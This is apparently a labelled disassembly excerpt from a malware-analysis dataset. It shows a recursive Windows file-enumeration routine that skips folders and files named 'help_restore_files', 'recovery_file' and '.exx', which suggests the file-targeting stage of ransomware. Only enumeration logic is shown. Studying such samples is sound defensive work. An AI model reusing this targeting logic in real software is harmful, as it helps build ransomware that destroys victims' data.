Function at 0x402890
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68c
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0
jne 0x4028cb
jmp 0x402bf7
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x66c]
push ecx
call section..text
add esp, 8
push 0x42030c
mov edx, dword [ebp - 0x66c]
push edx
call fcn.00401050
add esp, 8
lea eax, [ebp - 0x254]
push eax
mov ecx, dword [ebp - 0x66c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x67c], eax
mov edx, dword [ebp - 0x67c]
mov dword [ebp - 0x684], edx
cmp dword [ebp - 0x67c], 0xffffffff
je 0x402be3
mov eax, dword [ebp - 0x254]
and eax, 0x10
je 0x402a32
lea ecx, [ebp - 0x228]
push ecx
push 0x420308
call fcn.00401180
add esp, 8
test eax, eax
je 0x402a2d
lea edx, [ebp - 0x228]
push edx
push 0x420300
call fcn.00401180
add esp, 8
test eax, eax
je 0x402a2d
mov dword [ebp - 0x688], 7
mov dword [ebp - 0x670], 0
jmp 0x402991
mov eax, dword [ebp - 0x670]
add eax, 1
mov dword [ebp - 0x670], eax
mov ecx, dword [ebp - 0x670]
cmp ecx, dword [ebp - 0x688]
jge 0x4029c4
mov edx, dword [ebp - 0x670]
mov eax, dword [edx*4 + 0x41bac4]
push eax
lea ecx, [ebp - 0x228]
push ecx
call fcn.004010c0
add esp, 8
test eax, eax
je 0x4029c2
jmp 0x402a28
jmp 0x402982
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x66c]
push eax
call section..text
add esp, 8
push 0x4202fc
mov ecx, dword [ebp - 0x66c]
push ecx
call fcn.00401050
add esp, 8
lea edx, [ebp - 0x228]
push edx
mov eax, dword [ebp - 0x66c]
push eax
call fcn.00401050
add esp, 8
mov ecx, dword [ebp - 0x66c]
push ecx
push str.Scanning:__ws_n
call fcn.00401780
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x66c]
push eax
call fcn.00402890
add esp, 8
jmp 0x402bba
jmp 0x402bba
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x66c]
push edx
call section..text
add esp, 8
push 0x4202e8
mov eax, dword [ebp - 0x66c]
push eax
call fcn.00401050
add esp, 8
lea ecx, [ebp - 0x228]
push ecx
mov edx, dword [ebp - 0x66c]
push edx
call fcn.00401050
add esp, 8
lea eax, [ebp - 0x228]
mov dword [ebp - 0x674], eax
mov ecx, dword [ebp - 0x674]
push ecx
call dword [sym.imp.USER32.dll_CharLowerW]
cmp dword [ebp + 0xc], 0
jne 0x402b92
push str.help_restore_files
mov edx, dword [ebp - 0x674]
push edx
call fcn.004010c0
add esp, 8
test eax, eax
jne 0x402b90
push str.recovery_file
mov eax, dword [ebp - 0x674]
push eax
call fcn.004010c0
add esp, 8
test eax, eax
jne 0x402b90
push str..exx
mov ecx, dword [ebp - 0x674]
push ecx
call fcn.004010c0
add esp, 8
test eax, eax
jne 0x402b90
mov dword [ebp - 0x68c], 5
mov dword [ebp - 0x680], 0
mov dword [ebp - 0x678], 0
jmp 0x402b15
mov edx, dword [ebp - 0x678]
add edx, 1
mov dword [ebp - 0x678], edx
mov eax, dword [ebp - 0x678]
cmp eax, dword [ebp - 0x68c]
jge 0x402b52
mov ecx, dword [ebp - 0x678]
mov edx, dword [ecx*4 + 0x41b998]
push edx
mov eax, dword [ebp - 0x66c]
push eax
call fcn.004010c0
add esp, 8
test eax, eax
je 0x402b50
mov dword [ebp - 0x680], 1
jmp 0x402b52
jmp 0x402b06
cmp dword [ebp - 0x680], 0
jne 0x402b90
mov ecx, dword [ebp - 0x66c]
push ecx
lea edx, [ebp - 0x668]
push edx
call section..text
add esp, 8
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x258], eax
lea ecx, [ebp - 0x668]
push ecx
mov edx, dword [0x420d4c]
push edx
call fcn.004026a0
add esp, 8
jmp 0x402bba
mov eax, dword [0x41b9ac]
push eax
lea ecx, [ebp - 0x228]
push ecx
call fcn.004010c0
add esp, 8
test eax, eax
je 0x402bba
mov edx, dword [ebp - 0x66c]
push edx
call fcn.00401e40
add esp, 4
lea eax, [ebp - 0x254]
push eax
mov ecx, dword [ebp - 0x684]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402925
mov edx, dword [ebp - 0x684]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x8000
push 0
mov eax, dword [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e83
mov esp, ebp
pop ebp
ret